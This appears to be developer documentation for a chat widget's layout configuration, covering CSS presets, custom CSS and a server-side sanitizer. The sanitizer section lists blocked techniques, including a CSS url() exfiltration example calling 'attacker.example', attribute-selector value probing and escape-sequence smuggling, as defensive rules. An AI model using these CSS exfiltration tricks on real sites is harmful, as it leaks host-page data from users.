Widget Layout
Pick a preset, then write CSS. The browser handles every responsive case (mobile, tablet, desktop, ultrawide). We don't reinvent CSS in JSON.
The model
Three fields, saved on WidgetConfig.layout:
| Field | Type | Notes |
|---|---|---|
preset | floating | inline | fullscreen | Compiles to a default CSS block applied to .apptor-frame. |
mount | string | Strict #id or .class selector — only used when preset === 'inline'. |
customCss | string | Sanitized CSS targeting .apptor-frame. @media queries allowed. |
Presets
floating (default)
Bottom-right corner panel. Auto-fullscreens on phones (@media max-width: 640px).
Suitable for any marketing site where you want a Zendesk/Intercom-style chat.
.apptor-frame {
position: fixed;
bottom: 24px;
right: 24px;
width: min(380px, 92vw);
height: min(560px, 80vh);
border: 0;
border-radius: 16px;
box-shadow: 0 24px 60px rgba(0,0,0,0.35);
background: transparent;
z-index: 2147483646;
}
@media (max-width: 640px) {
.apptor-frame {
width: 100vw; height: 100vh;
bottom: 0; right: 0;
border-radius: 0;
}
}
inline
Mounts the iframe into a host-supplied container. Set mount to the
container's selector. Fills the container's box.
Example host markup:
<div id="chat-slot" style="width: 100%; height: 600px"></div>
Studio config:
preset: 'inline'
mount: '#chat-slot'
Default CSS:
.apptor-frame {
position: relative;
width: 100%;
height: 100%;
border: 0;
background: transparent;
}
fullscreen
Covers the entire viewport. Useful for mobile-first or dedicated chat URLs.
.apptor-frame {
position: fixed;
inset: 0;
width: 100vw;
height: 100vh;
border: 0;
border-radius: 0;
background: transparent;
z-index: 2147483646;
}
Custom CSS — laptopstore example
The customCss block is appended after the preset, so source order alone
gives custom rules the win. To turn the floating preset into a 50vw
bottom-centered panel with a cyan glow border:
.apptor-frame {
width: 50vw;
bottom: 24px;
left: 50%;
right: auto;
transform: translateX(-50%);
border: 2px solid #00E5FF;
box-shadow: 0 0 30px rgba(0,229,255,0.20);
}
@media (max-width: 768px) {
.apptor-frame {
width: 100vw;
left: 0;
transform: none;
}
}
Eight lines. Browser handles every viewport.
Sanitization
The customCss is sanitized server-side before persistence. The following
are blocked:
- Selectors that don't start with
.apptor-frame— every rule's selector list (including inside@media/@supports/@layer/@containerblocks) must target.apptor-frameor a descendant of it.body,html,*, attribute selectors likeinput[value^="a"], and sibling-class names like.apptor-frame-attackerare rejected.@keyframesbodies are exempt (their selectors arefrom/to/ percentages, not page-targeting). This stops customer CSS from styling, defacing, or DOM-exfiltrating from the host page. - Off-site
url(...)values —http://,https://,//(protocol- relative),file:, anddata:text/...URLs are rejected. Onlydata:image/...inline backgrounds are allowed. Without this rule,background: url(https://attacker.example/?...)would let stylesheet rules exfiltrate host-page state. @importrules (no third-party stylesheet fetches).- Backslash escape sequences (used to smuggle banned characters past
substring filters, e.g.
\7d≡}). expression(...)(legacy IE).javascript:URLs anddata:...javascriptURLs.behavior:property (legacy IE).- HTML-tag injection (
<script,<style,<iframe, etc). - At-rules outside the allowlist (
@media,@supports,@keyframes,@layer,@charset,@page,@container).
The sanitizer does not parse CSS values for property-level rules —
e.g. position: fixed itself is not blocked; instead the .apptor-frame
selector scope is what prevents a customer rule from targeting host-page
elements. As long as the rule sticks to .apptor-frame, the customer
controls every CSS property of the iframe wrapper.
Studio UX
Open Widget Studio for your flow → Layout tab.
- Preset chips switch the default CSS. Switching presets resets
customCssto that preset's default — your previous edits are replaced (with a "Reset to preset default" button to manually restore later). - Mount selector input appears only for
inline. - Monaco CSS editor for
customCss. - Above the live-preview iframe: viewport toggle (Mobile / Tablet / Desktop / Ultrawide) so you can see your CSS at every size.
Migration
Existing configs without layout default to preset: 'floating',
mount: '', customCss: '' — current behaviour is preserved.
Why CSS, not a JSON DSL
Because every responsive primitive — viewport units, clamp(), safe-area
insets, breakpoints, animations — already lives in CSS. Re-implementing them
in a JSON config would be reinventing CSS, badly. Customers already know CSS;
the Studio gives presets for non-technical users and Monaco for everyone else.